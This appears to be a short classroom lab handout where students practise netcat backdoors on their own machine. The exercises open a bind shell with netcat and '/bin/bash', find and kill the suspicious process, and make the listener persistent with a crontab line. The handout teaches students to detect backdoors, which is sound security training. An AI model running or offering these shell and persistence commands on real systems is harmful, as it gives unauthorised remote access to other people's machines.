Basic Backdoor Lab

We will be using netcat in order to create some backdoors to see how it works! Before you begin, please install netcat-traditional if it is not already on your image.

1. Bind shell (THEY CONNECT TO YOU)
    a. Open one instance of terminal and put this command: nc -vlp 1234 (this will be the "target" machine)
        i. this sets up port 1234 to listen for any connections
        ii. Can you verify that port 1234 is listening? How would you do that? (hint: open another terminal and try one of today's commands)
    b. Open another terminal (so 2 terminal windows) and type this command into the second terminal: nc localhost 1234 /bin/bash ("attacker" machine)
        i. this connects the 2nd terminal to the 1st terminal on the listening port (1234) and allows you to run the shell

    Try typing into the 2nd terminal and see what happens! (keep these two terminals but minimize them :))

2. Processes (practice yay)
    a. Run the command to view all listing processes to see if there are any odd commands running on a process
    b. if so, delete that please (Remember how?)
    c. Check what happened to the previous two terminals (What does it say?)

3. Crontabs (more practice)
    a. Create a crontab for your user
    b. At the bottom, type out the following line and save the file:
        i. * * * * * nc -lvp 1337
        ii. Try out doing step 1b. What happens when you type into the 2nd terminal?